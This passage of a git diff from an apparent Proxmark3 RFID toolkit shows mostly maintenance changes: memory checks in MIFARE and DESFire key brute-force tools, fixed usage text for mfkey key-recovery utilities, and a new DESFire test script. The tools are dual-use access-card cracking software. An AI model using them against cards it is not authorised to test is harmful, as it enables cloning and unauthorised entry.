exit(EXIT_FAILURE); + } a->xored = xored; a->thread = i; a->idx = i; @@ -780,6 +788,10 @@ int main(int argc, const char *argv[]) { // the rest of available threads to EV1 scenario for (int i = 0; i < thread_count; ++i) { struct thread_args *a = calloc(1, sizeof(struct thread_args)); + if (a == NULL) { + fprintf(stderr, "Failed to allocate memory\n"); + exit(EXIT_FAILURE); + } a->xored = xored; a->thread = i; a->idx = i; @@ -823,6 +835,10 @@ int main(int argc, const char *argv[]) { // threads for (int i = 0; i < thread_count; ++i) { struct thread_key_args *b = calloc(1, sizeof(struct thread_key_args)); + if (b == NULL) { + fprintf(stderr, "Failed to allocaet memory\n"); + exit(EXIT_FAILURE); + } b->thread = i; b->idx = i; b->uid = uid; diff --git a/tools/mfc/card_reader/mf_trace_brute.c b/tools/mfc/card_reader/mf_trace_brute.c index 1a8ce84c8..974b78274 100644 --- a/tools/mfc/card_reader/mf_trace_brute.c +++ b/tools/mfc/card_reader/mf_trace_brute.c @@ -290,6 +290,10 @@ int main(int argc, const char *argv[]) { // threads for (int i = 0; i < thread_count; ++i) { struct thread_args *a = calloc(1, sizeof(struct thread_args)); + if (a == NULL) { + fprintf(stderr, "Failed to allocate memory\n"); + exit(EXIT_FAILURE); + } a->thread = i; a->idx = i; a->uid = uid; diff --git a/tools/mfc/card_reader/mfkey32.c b/tools/mfc/card_reader/mfkey32.c index 154e80784..8efcdf924 100644 --- a/tools/mfc/card_reader/mfkey32.c +++ b/tools/mfc/card_reader/mfkey32.c @@ -22,7 +22,7 @@ int main(int argc, char *argv[]) { printf("Recover key from two 32-bit reader authentication answers only!\n\n"); if (argc < 7) { - printf(" syntax: %s <{nr_0}> <{ar}_0> <{nr_1}> <{ar}_0>\n\n", argv[0]); + printf(" syntax: %s <{nr_0}> <{ar}_0> <{nr_1}> <{ar}_1>\n\n", argv[0]); return 1; } diff --git a/tools/mfc/card_reader/mfkey32v2.c b/tools/mfc/card_reader/mfkey32v2.c index 4c5986c50..44ae902d5 100644 --- a/tools/mfc/card_reader/mfkey32v2.c +++ b/tools/mfc/card_reader/mfkey32v2.c @@ -24,7 +24,7 @@ int main(int argc, char *argv[]) { printf("This version implements Moebius two different nonce solution (like the supercard)\n\n"); if (argc < 8) { - printf("syntax: %s <{nt_0}> <{nr_0}> <{ar_0}> <{nt_1}> <{nr_1}> <{ar_1}>\n\n", argv[0]); + printf("syntax: %s <{nr_0}> <{ar_0}> <{nr_1}> <{ar_1}>\n\n", argv[0]); return 1; } diff --git a/tools/mfc/card_reader/mfkey64.c b/tools/mfc/card_reader/mfkey64.c index d1aa06dfb..f899b353d 100644 --- a/tools/mfc/card_reader/mfkey64.c +++ b/tools/mfc/card_reader/mfkey64.c @@ -73,6 +73,11 @@ int main(int argc, char *argv[]) { printf(" ks3: %08x\n", ks3); revstate = lfsr_recovery64(ks2, ks3); + if ((revstate->odd == 0) && (revstate->even == 0)) { + printf("\nKey not found :(\n\n"); + crypto1_destroy(revstate); + return -1; + } // Decrypting communication using keystream if presented if (argc > 6) { diff --git a/tools/mfd_aes_brute/Makefile b/tools/mfd_aes_brute/Makefile index d0df682f6..07330e077 100644 --- a/tools/mfd_aes_brute/Makefile +++ b/tools/mfd_aes_brute/Makefile @@ -1,19 +1,19 @@ MYSRCPATHS = ../../common ../../common/mbedtls MYSRCS = util_posix.c randoms.c MYINCLUDES = -I../../include -I../../common -I../../common/mbedtls -MYCFLAGS = -Ofast +MYCFLAGS = -O3 -ffast-math MYDEFS = MYLDLIBS = -lcrypto -# A better way would be to just try compiling with march and seeing if we succeed -cpu_arch = $(shell uname -m) -ifneq ($(findstring arm64, $(cpu_arch)), ) - MYCFLAGS += -mcpu=native -# iOS 'fun' -else ifneq ($(findstring iP, $(cpu_arch)), ) - MYCFLAGS += -mcpu=native -else +SUPPORT_MARCH := $(shell $(CC) -xc /dev/null -c -o /dev/null -march=native > /dev/null 2>/dev/null && echo y) +SUPPORT_MCPU := $(shell $(CC) -xc /dev/null -c -o /dev/null -mcpu=native > /dev/null 2>/dev/null && echo y) + +ifeq ($(DONT_BUILD_NATIVE),y) + # do nothing +else ifeq ($(SUPPORT_MARCH),y) MYCFLAGS += -march=native +else ifeq ($(SUPPORT_MCPU),y) + MYCFLAGS += -mcpu=native endif ifneq ($(SKIPPTHREAD),1) @@ -34,8 +34,8 @@ endif # OS X needs linking to openssl ifeq ($(USE_BREW),1) - MYCFLAGS += -I$(BREW_PREFIX)/opt/openssl@3/include -I$(BREW_PREFIX)/opt/openssl@1.1/include - MYLDFLAGS += -L$(BREW_PREFIX)/opt/openssl@3/lib -L$(BREW_PREFIX)/opt/openssl@1.1/lib + MYCFLAGS += -I$(BREW_PREFIX)/opt/openssl@3/include -I$(BREW_PREFIX)/opt/openssl@3.5/include + MYLDFLAGS += -L$(BREW_PREFIX)/opt/openssl@3/lib -L$(BREW_PREFIX)/opt/openssl@3.5/lib endif ifeq ($(USE_MACPORTS),1) @@ -43,6 +43,9 @@ ifeq ($(USE_MACPORTS),1) MYLDFLAGS += -L$(MACPORTS_PREFIX)/lib/openssl-3 -L$(MACPORTS_PREFIX)/lib/openssl-1.1 endif +showinfo: + @echo "C flags: $(MYCFLAGS)" + brute_key : $(OBJDIR)/brute_key.o $(MYOBJS) mfd_aes_brute : $(OBJDIR)/mfd_aes_brute.o $(MYOBJS) diff --git a/tools/mfd_aes_brute/mfd_aes_brute.c b/tools/mfd_aes_brute/mfd_aes_brute.c index 53a984421..029e7ba8f 100644 --- a/tools/mfd_aes_brute/mfd_aes_brute.c +++ b/tools/mfd_aes_brute/mfd_aes_brute.c @@ -277,6 +277,10 @@ int main(int argc, char *argv[]) { uint64_t stop_time = time(NULL); for (int i = 0; i < thread_count; ++i) { struct thread_args *a = calloc(1, sizeof(struct thread_args)); + if (a == NULL) { + fprintf(stderr, "Failed to allocate memory\n"); + exit(EXIT_FAILURE); + } a->thread = i; a->idx = i; a->starttime = start_time; diff --git a/tools/mfd_aes_brute/mfd_multi_brute.c b/tools/mfd_aes_brute/mfd_multi_brute.c index 4781d384a..cce9e730f 100644 --- a/tools/mfd_aes_brute/mfd_multi_brute.c +++ b/tools/mfd_aes_brute/mfd_multi_brute.c @@ -471,6 +471,10 @@ int main(int argc, char *argv[]) { uint64_t stop_time = time(NULL); for (int i = 0; i < thread_count; ++i) { struct thread_args *a = calloc(1, sizeof(struct thread_args)); + if (a == NULL) { + fprintf(stderr, "Failed to allocate memory\n"); + exit(EXIT_FAILURE); + } a->thread = i; a->idx = i; a->generator_idx = g_idx; diff --git a/tools/mkversion.sh b/tools/mkversion.sh index d8209438d..f4dd350d6 100755 --- a/tools/mkversion.sh +++ b/tools/mkversion.sh @@ -65,13 +65,21 @@ if [ "$commandGIT" != "" ]; then fi if [ "$gitbranch" != "" ] && [ "$gitversion" != "" ]; then fullgitinfo="${fullgitinfo}/${gitbranch}/${gitversion}" - ctime="$(date '+%Y-%m-%d %H:%M:%S')" + # if FORCED_DATE present and properly formatted: + case "$FORCED_DATE" in + [0-9][0-9][0-9][0-9]-[0-9][0-9]-[0-9][0-9]" "[0-9][0-9]:[0-9][0-9]:[0-9][0-9]) + ctime="$FORCED_DATE" + ;; + *) + ctime="$(date '+%Y-%m-%d %H:%M:%S')" + ;; + esac else fullgitinfo="${fullgitinfo}/master/release (git)" fi else fullgitinfo="${fullgitinfo}/master/release (no_git)" - dl_time=$(stat --printf="%y" ../README.md) + dl_time=$(stat --printf="%y" README.md) # POSIX way... ctime=${dl_time%.*} fi diff --git a/tools/pm3_online_tests.sh b/tools/pm3_online_tests.sh new file mode 100755 index 000000000..998122f62 --- /dev/null +++ b/tools/pm3_online_tests.sh @@ -0,0 +1,148 @@ +#!/usr/bin/env bash + +# Online tests that require actual PM3 device connection +# This is used to make sure that the language for the functions is english instead of the system default language. +LANG=C + +PM3PATH="$(dirname "$0")/.." +cd "$PM3PATH" || exit 1 + +TESTALL=false +TESTDESFIREVALUE=false + +# https://medium.com/@Drew_Stokes/bash-argument-parsing-54f3b81a6a8f +PARAMS="" +while (( "$#" )); do + case "$1" in + -h|--help) + echo """ +Usage: $0 [--pm3bin /path/to/pm3] [desfire_value] + --pm3bin ...: Specify path to pm3 binary to test + desfire_value: Test DESFire value operations with card + You must specify a test target - no default 'all' for online tests +""" + exit 0 + ;; + --pm3bin) + if [ -n "$2" ] && [ ${2:0:1} != "-" ]; then + PM3BIN=$2 + shift 2 + else + echo "Error: Argument for $1 is missing" >&2 + exit 1 + fi + ;; + desfire_value) + TESTALL=false + TESTDESFIREVALUE=true + shift + ;; + -*|--*=) # unsupported flags + echo "Error: Unsupported flag $1" >&2 + exit 1 + ;; + *) # preserve positional arguments + PARAMS="$PARAMS $1" + shift + ;; + esac +done +# set positional arguments in their proper place +eval set -- "$PARAMS" + +C_RED='\033[0;31m' +C_GREEN='\033[0;32m' +C_YELLOW='\033[0;33m' +C_BLUE='\033[0;34m' +C_NC='\033[0m' # No Color +C_OK='\xe2\x9c\x94\xef\xb8\x8f' +C_FAIL='\xe2\x9d\x8c' + +# Check if file exists +function CheckFileExist() { + printf "%-40s" "$1 " + if [ -f "$2" ]; then + echo -e "[ ${C_GREEN}OK${C_NC} ] ${C_OK}" + return 0 + fi + if ls "$2" 1> /dev/null 2>&1; then + echo -e "[ ${C_GREEN}OK${C_NC} ] ${C_OK}" + return 0 + fi + echo -e "[ ${C_RED}FAIL${C_NC} ] ${C_FAIL}" + return 1 +} + +# Execute command and check result +function CheckExecute() { + printf "%-40s" "$1 " + + start=$(date +%s) + TIMEINFO="" + RES=$(eval "$2") + end=$(date +%s) + delta=$(expr $end - $start) + if [ $delta -gt 2 ]; then + TIMEINFO=" ($delta s)" + fi + if echo "$RES" | grep -E -q "$3"; then + echo -e "[ ${C_GREEN}OK${C_NC} ] ${C_OK} $TIMEINFO" + return 0 + fi + echo -e "[ ${C_RED}FAIL${C_NC} ] ${C_FAIL} $TIMEINFO" + echo "Execution trace:" + echo "$RES" + return 1 +} + +echo -e "${C_BLUE}Iceman Proxmark3 online test tool${C_NC}" +echo "" +echo "work directory: $(pwd)" + +if command -v git >/dev/null && git rev-parse --is-inside-work-tree >/dev/null 2>&1; then + echo -n "git branch: " + git describe --all + echo -n "git sha: " + git rev-parse HEAD + echo "" +fi + +# Check that user specified a test +if [ "$TESTDESFIREVALUE" = false ]; then + echo "Error: You must specify a test target. Use -h for help." + exit 1 +fi + +while true; do + # DESFire value tests + if $TESTDESFIREVALUE; then + echo -e "\n${C_BLUE}Testing DESFire card value operations${C_NC} ${PM3BIN:=./pm3}" + echo " PLACE A FACTORY DESFIRE CARD ON THE READER NOW" + if ! CheckFileExist "pm3 exists" "$PM3BIN"; then break; fi + + echo " Formatting card to clean state..." + if ! CheckExecute "format card" "$PM3BIN -c 'hf mfdes formatpicc'" "done"; then break; fi + + echo " Running value operation tests..." + if ! CheckExecute "card auth test" "$PM3BIN -c 'hf mfdes auth -n 0 -t 2tdea -k 00000000000000000000000000000000 --kdf none'" "authenticated.*succes"; then break; fi + if ! CheckExecute "card app creation" "$PM3BIN -c 'hf mfdes createapp --aid 123456 --ks1 0F --ks2 0E --numkeys 1'" "successfully created"; then break; fi + if ! CheckExecute "card value file creation" "$PM3BIN -c 'hf mfdes createvaluefile --aid 123456 --fid 02 --lower 00000000 --upper 000003E8 --value 00000064'" "created successfully"; then break; fi + if ! CheckExecute "card value get plain" "$PM3BIN -c 'hf mfdes value --aid 123456 --fid 02 --op get -m plain'" "Value.*100"; then break; fi + if ! CheckExecute "card value get mac" "$PM3BIN -c 'hf mfdes value --aid 123456 --fid 02 --op get -m mac'" "Value.*100"; then break; fi + if ! CheckExecute "card value credit plain" "$PM3BIN -c 'hf mfdes value --aid 123456 --fid 02 --op credit -d 00000032 -m plain'" "Value.*changed"; then break; fi + if ! CheckExecute "card value get after credit" "$PM3BIN -c 'hf mfdes value --aid 123456 --fid 02 --op get -m plain'" "Value.*150"; then break; fi + if ! CheckExecute "card value credit mac" "$PM3BIN -c 'hf mfdes value --aid 123456 --fid 02 --op credit -d 0000000A -m mac'" "Value.*changed"; then break; fi + if ! CheckExecute "card value debit plain" "$PM3BIN -c 'hf mfdes value --aid 123456 --fid 02 --op debit -d 00000014 -m plain'" "Value.*changed"; then break; fi + if ! CheckExecute "card value debit mac" "$PM3BIN -c 'hf mfdes value --aid 123456 --fid 02 --op debit -d 00000014 -m mac'" "Value.*changed"; then break; fi + if ! CheckExecute "card value final check" "$PM3BIN -c 'hf mfdes value --aid 123456 --fid 02 --op get -m mac'" "Value.*120"; then break; fi + if ! CheckExecute "card cleanup" "$PM3BIN -c 'hf mfdes selectapp --aid 000000; hf mfdes auth -n 0 -t 2tdea -k 00000000000000000000000000000000 --kdf none; hf mfdes deleteapp --aid 123456'" "application.*deleted"; then break; fi + echo " card value operation tests completed successfully!" + fi + + echo -e "\n------------------------------------------------------------" + echo -e "Tests [ ${C_GREEN}OK${C_NC} ] ${C_OK}\n" + exit 0 +done +echo -e "\n------------------------------------------------------------" +echo -e "\nTests [ ${C_RED}FAIL${C_NC} ] ${C_FAIL}\n" +exit 1 \ No newline at end of file diff --git a/tools/pm3_tears_for_fears.py b/tools/pm3_tears_for_fears.py index 0670ceccb..45c1a23d0 100755 --- a/tools/pm3_tears_for_fears.py +++ b/tools/pm3_tears_for_fears.py @@ -89,8 +89,7 @@ def main(): PM3_SUBPROC = Popen([args.pm3_path, "-i", "-f"], stdin=PIPE, stdout=PIPE) PM3_SUBPROC_QUEUE = Queue() - thread = Thread(target=enqueue_output, - args=(PM3_SUBPROC.stdout, PM3_SUBPROC_QUEUE)) + thread = Thread(target=enqueue_output, args=(PM3_SUBPROC.stdout, PM3_SUBPROC_QUEUE)) thread.start() if args.target_block != -1: diff --git a/tools/pm3_tests.sh b/tools/pm3_tests.sh index 8fed2051a..f8e2dba2b 100755 --- a/tools/pm3_tests.sh +++ b/tools/pm3_tests.sh @@ -1,5 +1,8 @@ #!/usr/bin/env bash +# This is used to make sure that the language for the functions is english instead of the system default language. +LANG=C + PM3PATH="$(dirname "$0")/.." cd "$PM3PATH" || exit 1 @@ -140,11 +143,22 @@ C_NC='\033[0m' # No Color C_OK='\xe2\x9c\x94\xef\xb8\x8f' C_FAIL='\xe2\x9d\x8c' -# title, file name or file wildcard to check +# [opencl] title, file name or file wildcard to check function CheckFileExist() { + if [ "$1" == "opencl" ]; then + local OPENCLTEST=true + shift + else + local OPENCLTEST=false + fi printf "%-40s" "$1 " + if $OPENCLTEST && ! $OPENCLTESTS; then + echo -e "[ ${C_YELLOW}SKIPPED${C_NC} ] ( opencl )" + return 0 + fi + if [ -f "$2" ]; then echo -e "[ ${C_GREEN}OK${C_NC} ] ${C_OK}" return 0 @@ -386,7 +400,7 @@ while true; do if ! CheckExecute slow "ht2crack5 test" "cd $HT2CRACK5PATH; ./ht2crack5 $HT2CRACK5UID $HT2CRACK5NRAR" "Key: $HT2CRACK5KEY"; then break; fi echo -e "\n${C_BLUE}Testing ht2crack5opencl:${C_NC} ${HT2CRACK5OPENCLPATH:=./tools/hitag2crack/crack5opencl/}" - if ! CheckFileExist "ht2crack5opencl exists" "$HT2CRACK5OPENCLPATH/ht2crack5opencl"; then break; fi + if ! CheckFileExist opencl "ht2crack5opencl exists" "$HT2CRACK5OPENCLPATH/ht2crack5opencl"; then break; fi HT2CRACK5OPENCLUID=12345678 HT2CRACK5OPENCLKEY=AABBCCDDEEFF # The speed depends on the nRaR so we'll use two pairs known to work fast @@ -434,6 +448,8 @@ while true; do if ! CheckExecute "nfc decode test - vcard" "$CLIENTBIN -c 'nfc decode -d d20ca3746578742f782d7643617264424547494e3a56434152440a56455253494f4e3a332e300a4e3a43687269733b4963656d616e3b3b3b0a464e3a476f7468656e627572670a5245563a323032312d30362d32345432303a31353a30385a0a6974656d322e582d4142444154453b747970653d707265663a323032302d30362d32340a4954454d322e582d41424c4142454c3a5f24213c416e6e69766572736172793e21245f0a454e443a56434152440a'" "END:VCARD"; then break; fi if ! CheckExecute "nfc decode test - apple wallet" "$CLIENTBIN -c 'nfc decode -d 031AD10116550077616C6C65743A2F2F61637469766174652F6E6663FE'" "activate/nfc"; then break; fi if ! CheckExecute "nfc decode test - signature" "$CLIENTBIN -c 'nfc decode -d 03FF010194113870696C65742E65653A656B616172743A3266195F26063132303832325904202020205F28033233335F2701316E1B5A13333038363439303039303030323636343030355304EBF2CE704103000000AC536967010200803A2448FCA7D354A654A81BD021150D1A152D1DF4D7A55D2B771F12F094EAB6E5E10F2617A2F8DAD4FD38AFF8EA39B71C19BD42618CDA86EE7E144636C8E0E7CFC4096E19C3680E09C78A0CDBC05DA2D698E551D5D709717655E56FE3676880B897D2C70DF5F06ECE07C71435255144F8EE41AF110E7B180DA0E6C22FB8FDEF61800025687474703A2F2F70696C65742E65652F6372742F33303836343930302D303030312E637274FE'" "30864900-0001.crt"; then break; fi + if ! CheckExecute "wiegand decode test - raw" "$CLIENTBIN -c 'wiegand decode --raw 2006F623AE'" "FC: 123 CN: 4567 parity \( ok \)"; then break; fi + if ! CheckExecute "wiegand decode test - new" "$CLIENTBIN -c 'wiegand decode --new 06BD88EB80'" "FC: 123 CN: 4567 parity \( ok \)"; then break; fi echo -e "\n${C_BLUE}Testing LF:${C_NC}" if ! CheckExecute "lf hitag2 test" "$CLIENTBIN -c 'lf hitag test'" "Tests \( ok"; then break; fi @@ -557,12 +573,12 @@ while true; do if ! CheckExecute slow "hf iclass loclass long test" "$CLIENTBIN -c 'hf iclass loclass --long'" "verified \( ok \)"; then break; fi if ! CheckExecute slow "emv long test" "$CLIENTBIN -c 'emv test -l'" "Tests \( ok"; then break; fi if ! CheckExecute "hf iclass lookup test" "$CLIENTBIN -c 'hf iclass lookup --csn 9655a400f8ff12e0 --epurse f0ffffffffffffff --macs 0000000089cb984b -f $DICPATH/iclass_default_keys.dic'" \ - "valid key AE A6 84 A6 DA B2 32 78"; then break; fi - if ! CheckExecute "hf iclass loclass test" "$CLIENTBIN -c 'hf iclass loclass --test'" "key diversification \( ok \)"; then break; fi + "valid key AEA684A6DAB23278"; then break; fi + if ! CheckExecute "hf iclass loclass test" "$CLIENTBIN -c 'hf iclass loclass --test'" "Key diversification \( ok \)"; then break; fi if ! CheckExecute "emv test" "$CLIENTBIN -c 'emv test'" "Tests \( ok"; then break; fi if ! CheckExecute "hf cipurse test" "$CLIENTBIN -c 'hf cipurse test'" "Tests \( ok"; then break; fi if ! CheckExecute "hf mfdes test" "$CLIENTBIN -c 'hf mfdes test'" "Tests \( ok"; then break; fi - if ! CheckExecute "hf waveshare load" "$CLIENTBIN -c 'hf waveshare load -m 6 -f tools/lena.bmp -s dither.bmp' && echo '34ff55fe7257876acf30dae00eb0e439 dither.bmp' | md5sum -c" "dither.bmp: OK"; then break; fi + if ! CheckExecute "hf waveshare load" "$CLIENTBIN -c 'hf waveshare load -m 6 -f tools/lena.bmp -s dither.bmp' && echo '34ff55fe7257876acf30dae00eb0e439 dither.bmp' | md5sum -c -" "dither.bmp: OK"; then break; fi fi echo -e "\n------------------------------------------------------------" echo -e "Tests [ ${C_GREEN}OK${C_NC} ] ${C_OK}\n" diff --git a/tools/recover_pk.py b/tools/recover_pk.py index 9d9c816fd..7795604d8 100755 --- a/tools/recover_pk.py +++ b/tools/recover_pk.py @@ -12,12 +12,13 @@ from colors import color debug = False + def guess_curvename(signature): siglen = (len(signature) // 2) & 0xfe if siglen == 32: curves = ["secp128r1", "secp128r2"] elif siglen == 48: - curves = ["secp192k1", "secp192r1"] + curves = ["secp192k1", "prime192v1"] elif siglen == 56: curves = ["secp224k1", "secp224r1"] elif siglen == 64: @@ -31,6 +32,7 @@ def guess_curvename(signature): raise ValueError("Unsupported signature size %s" % lenstr) return curves + def recover(data, signature, curvename, alghash=None): recovered = set() try: @@ -60,6 +62,7 @@ def recover(data, signature, curvename, alghash=None): pass return recovered + def recover_multiple(uids, sigs, curvename, alghash=None): recovered = set() assert len(uids) == len(sigs) @@ -82,6 +85,7 @@ def recover_multiple(uids, sigs, curvename, alghash=None): recovered &= recovered_tmp return recovered + def selftests(): tests = [ {'name': "Mifare Ultralight EV1", @@ -102,42 +106,42 @@ def selftests(): 'pk': "044F6D3F294DEA5737F0F46FFEE88A356EED95695DD7E0C27A591E6F6F65962BAF"}, {'name': "DESFire Light", - 'samples': ["0439556ACB6480", "D5BD0978106E1E38B513642335966AB21E9F950DCFCFAB45FF13D0DC3CA4C2AE7E0D671DF1240937D040DAC4601C5F66ED62C546EE03ED08", - "043B156ACB6480", "76B46932BF2FCF4931A24C755F5CB1686B914F1856177686B864BDAD58EFA6A7493E5C2232F3ADDAA434EA4647BFD1D385BDA6115E77D74C"], - 'pk': "040E98E117AAA36457F43173DC920A8757267F44CE4EC5ADD3C54075571AEBBF7B942A9774A1D94AD02572427E5AE0A2DD36591B1FB34FCF3D"}, + 'samples': ["0439556ACB6480", "D5BD0978106E1E38B513642335966AB21E9F950DCFCFAB45FF13D0DC3CA4C2AE7E0D671DF1240937D040DAC4601C5F66ED62C546EE03ED08", # noqa: E501 + "043B156ACB6480", "76B46932BF2FCF4931A24C755F5CB1686B914F1856177686B864BDAD58EFA6A7493E5C2232F3ADDAA434EA4647BFD1D385BDA6115E77D74C"], # noqa: E501 + 'pk': "040E98E117AAA36457F43173DC920A8757267F44CE4EC5ADD3C54075571AEBBF7B942A9774A1D94AD02572427E5AE0A2DD36591B1FB34FCF3D"}, # noqa: E501 {'name': "DESFire EV2", - 'samples': ["042A41CAE45380", "B2769F8DDB575AEA2A680ADCA8FFED4FAB81A1E9908E2B82FE0FABB697BBD9B23835C416970E75768F12902ACA491349E94E6589EAF4F508", - "045640CAE45380", "D34B53A8C2C100D700DEA1C4C0D0DE4409F3A418CD8D57C4F41F146E42AD9A55F014199ABBF5CA259C7799DB0AE20D5E77D4950AC7E95D33", - "040D259A965B80","B158073A7100C88C3726F4299FA58311FC3CB18744686DE3F234928AD74578F5CAD7FCEC1DCB962ECC7CC000B8557B37F45B76DC6573A58F"], - 'pk': "04B304DC4C615F5326FE9383DDEC9AA892DF3A57FA7FFB3276192BC0EAA252ED45A865E3B093A3D0DCE5BE29E92F1392CE7DE321E3E5C52B3A"}, + 'samples': ["042A41CAE45380", "B2769F8DDB575AEA2A680ADCA8FFED4FAB81A1E9908E2B82FE0FABB697BBD9B23835C416970E75768F12902ACA491349E94E6589EAF4F508", # noqa: E501 + "045640CAE45380", "D34B53A8C2C100D700DEA1C4C0D0DE4409F3A418CD8D57C4F41F146E42AD9A55F014199ABBF5CA259C7799DB0AE20D5E77D4950AC7E95D33", # noqa: E501 + "040D259A965B80", "B158073A7100C88C3726F4299FA58311FC3CB18744686DE3F234928AD74578F5CAD7FCEC1DCB962ECC7CC000B8557B37F45B76DC6573A58F"], # noqa: E501 + 'pk': "04B304DC4C615F5326FE9383DDEC9AA892DF3A57FA7FFB3276192BC0EAA252ED45A865E3B093A3D0DCE5BE29E92F1392CE7DE321E3E5C52B3A"}, # noqa: E501 {'name': "DESFire EV2 XL", - 'samples': ["044ca092806480","9d86dacd3866058b1cf122ff5fc80e997251d99179bc1f996acf6ed7d495da5c39dde699e2760c08d747ef08487b9897d48957e5afd755e2", - "045793d28a6380","e509576a484b4f93b5b97ffa04cb297cae97cff1071bdefd23d5054513e3036203fdd1cdd2cdead0aead88df24ffe7cdaafee1e58a55a745", - "044ba492806480","517b2931355bd9b9f35d72ed90bdab6212d05853abcf9dd45a79d5ceb91d8939c2c90d3a630a4d18a33903a3e23950a7580cf4ca34d03a90"], - 'pk': "04CD5D45E50B1502F0BA4656FF37669597E7E183251150F9574CC8DA56BF01C7ABE019E29FEA48F9CE22C3EA4029A765E1BC95A89543BAD1BC"}, + 'samples': ["044ca092806480", "9d86dacd3866058b1cf122ff5fc80e997251d99179bc1f996acf6ed7d495da5c39dde699e2760c08d747ef08487b9897d48957e5afd755e2", # noqa: E501 + "045793d28a6380", "e509576a484b4f93b5b97ffa04cb297cae97cff1071bdefd23d5054513e3036203fdd1cdd2cdead0aead88df24ffe7cdaafee1e58a55a745", # noqa: E501 + "044ba492806480", "517b2931355bd9b9f35d72ed90bdab6212d05853abcf9dd45a79d5ceb91d8939c2c90d3a630a4d18a33903a3e23950a7580cf4ca34d03a90"], # noqa: E501 + 'pk': "04CD5D45E50B1502F0BA4656FF37669597E7E183251150F9574CC8DA56BF01C7ABE019E29FEA48F9CE22C3EA4029A765E1BC95A89543BAD1BC"}, # noqa: E501 {'name': "DESFire EV3", - 'samples': ["04448BD2DB6B80", "5CBB5632795C8F15263FEFB095B51C7B541AFD914A1AE44EF6FB8AF605EDF13DBFEE6C3A2DB372245E671DFE0D42CB1F0D0B8FE67A89D2F6", - "04445DD2DB6B80", "166BFD9F9BFAA451172566101580DF9894F582C4A4E258C15037AD2F35A475CF1D7FB817618623A6569F991931AFB2766984E21A18512A6D"], - 'pk': "041DB46C145D0A36539C6544BD6D9B0AA62FF91EC48CBC6ABAE36E0089A46F0D08C8A715EA40A63313B92E90DDC1730230E0458A33276FB743"}, + 'samples': ["04448BD2DB6B80", "5CBB5632795C8F15263FEFB095B51C7B541AFD914A1AE44EF6FB8AF605EDF13DBFEE6C3A2DB372245E671DFE0D42CB1F0D0B8FE67A89D2F6", # noqa: E501 + "04445DD2DB6B80", "166BFD9F9BFAA451172566101580DF9894F582C4A4E258C15037AD2F35A475CF1D7FB817618623A6569F991931AFB2766984E21A18512A6D"], # noqa: E501 + 'pk': "041DB46C145D0A36539C6544BD6D9B0AA62FF91EC48CBC6ABAE36E0089A46F0D08C8A715EA40A63313B92E90DDC1730230E0458A33276FB743"}, # noqa: E501 {'name': "Mifare Plus EV1", - 'samples': ["042A2B221C5080", "BAC40CD88E9193C58ADA5055350C4F648EB5A7AEC4FCF9BD4CDD7B1C558DE5F59C6636F26286ED48622AAA2331D4DF1CEE23B57B94BDA631", - "04505082346B80", "78B2FCF6769F60B165F5BDEB3A6D0C26967BB165E65A3B400A01C711356FF0A0807AB1A2706FCA419702AC67211287E31D71927BA25AB235", - "12817C48", "3351979A3449CACD9EE113A75B862917F03EFAE68DA399C06342BF8583C88DFE769DF49754A96F7C28B57189FB05B9C10E2305D41423A6EB"], - 'pk': "044409ADC42F91A8394066BA83D872FB1D16803734E911170412DDF8BAD1A4DADFD0416291AFE1C748253925DA39A5F39A1C557FFACD34C62E"}, + 'samples': ["042A2B221C5080", "BAC40CD88E9193C58ADA5055350C4F648EB5A7AEC4FCF9BD4CDD7B1C558DE5F59C6636F26286ED48622AAA2331D4DF1CEE23B57B94BDA631", # noqa: E501 + "04505082346B80", "78B2FCF6769F60B165F5BDEB3A6D0C26967BB165E65A3B400A01C711356FF0A0807AB1A2706FCA419702AC67211287E31D71927BA25AB235", # noqa: E501 + "12817C48", "3351979A3449CACD9EE113A75B862917F03EFAE68DA399C06342BF8583C88DFE769DF49754A96F7C28B57189FB05B9C10E2305D41423A6EB"], # noqa: E501 + 'pk': "044409ADC42F91A8394066BA83D872FB1D16803734E911170412DDF8BAD1A4DADFD0416291AFE1C748253925DA39A5F39A1C557FFACD34C62E"}, # noqa: E501 - {'name': "NTAG413DNA", - 'samples': ["042468222F5C80", "B9211E320F321BD1D0E158E10FF15109B389638BAE15D9909D7725BF1250ED236D66F1AF75C94D60330E4E92535F5E6997675281A5687173", - "042938222F5C80", "18B642797D1FD71806146A7A6EC778D3FDD04F39C4A3B36A592BD1A114DC44E5528380FA766C0B7EA32B284AFBE84300B620369F0686D8CC"], - 'pk': "04bb5d514f7050025c7d0f397310360eec91eaf792e96fc7e0f496cb4e669d414f877b7b27901fe67c2e3b33cd39d1c797715189ac951c2add"}, + {'name': "NTAG413DNA, DESFire EV1", + 'samples': ["042468222F5C80", "B9211E320F321BD1D0E158E10FF15109B389638BAE15D9909D7725BF1250ED236D66F1AF75C94D60330E4E92535F5E6997675281A5687173", # noqa: E501 + "042938222F5C80", "18B642797D1FD71806146A7A6EC778D3FDD04F39C4A3B36A592BD1A114DC44E5528380FA766C0B7EA32B284AFBE84300B620369F0686D8CC"], # noqa: E501 + 'pk': "04BB5D514F7050025C7D0F397310360EEC91EAF792E96FC7E0F496CB4E669D414F877B7B27901FE67C2E3B33CD39D1C797715189AC951C2ADD"}, # noqa: E501 {'name': "NTAG424DNA", - 'samples': ["0463474AA26A80", "27E9A50E6CA4BA9037C02F7D20A80D0284D0C1D83C67F5A5AC1D8A4EF86C9508417E4E9C6F85AA7920F0ABDED984CAF20467D66EA54BBF08", - "04C46C222A6380", "344A806EBF704C05C19215D2F840529CE365AAD2D08A469A95896D75D477D9FAB02A0C827E9F215BD8EB0E56A3A9A008FB75D706AABBD4DA"], - 'pk': "048A9B380AF2EE1B98DC417FECC263F8449C7625CECE82D9B916C992DA209D68422B81EC20B65A66B5102A61596AF3379200599316A00A1410"}, + 'samples': ["0463474AA26A80", "27E9A50E6CA4BA9037C02F7D20A80D0284D0C1D83C67F5A5AC1D8A4EF86C9508417E4E9C6F85AA7920F0ABDED984CAF20467D66EA54BBF08", # noqa: E501 + "04C46C222A6380", "344A806EBF704C05C19215D2F840529CE365AAD2D08A469A95896D75D477D9FAB02A0C827E9F215BD8EB0E56A3A9A008FB75D706AABBD4DA"], # noqa: E501 + 'pk': "048A9B380AF2EE1B98DC417FECC263F8449C7625CECE82D9B916C992DA209D68422B81EC20B65A66B5102A61596AF3379200599316A00A1410"}, # noqa: E501 {'name': "Vivokey Spark1", # ! tag signature bytes output by pm3 must be read right to left: @@ -149,31 +153,42 @@ def selftests(): {'name': "ICODE DNA, ICODE SLIX2", # ! tag UID is considered inverted: E0040118009B5FEE => EE5F9B00180104E0 - # TODO one more ICODE-DNA... + # uses 